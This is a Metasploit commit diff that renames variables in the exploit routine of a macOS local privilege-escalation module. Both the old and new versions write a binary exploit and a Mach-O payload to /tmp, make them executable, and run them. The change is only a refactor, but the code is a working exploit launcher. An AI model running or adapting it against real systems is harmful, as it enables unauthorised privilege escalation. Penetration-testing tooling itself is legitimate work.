Rename local_variables

bug/bundler_fix
jvazquez-r7 2014-11-30 20:40:55 -06:00
parent d77c02fe43
commit d7d1b72bce
1 changed files with 14 additions and 14 deletions

View File

@ -61,23 +61,23 @@ class Metasploit3 < Msf::Exploit::Local
def exploit
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
binary_exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status "Writing temp file as '#{tmpfile}'"
write_file(tmpfile, exploit)
register_file_for_cleanup(tmpfile)
print_status("Writing exploit file as '#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)
print_status "Writing payload file as '#{payloadfile}'"
write_file(payloadfile, pload)
register_file_for_cleanup(payloadfile)
print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status "Executing payload..."
cmd_exec("chmod +x #{tmpfile}")
cmd_exec("chmod +x #{payloadfile}")
cmd_exec("#{tmpfile} #{payloadfile}")
print_status("Executing payload...")
cmd_exec("chmod +x #{exploit_file}")
cmd_exec("chmod +x #{payload_file}")
cmd_exec("#{exploit_file} #{payload_file}")
end
def osx_ver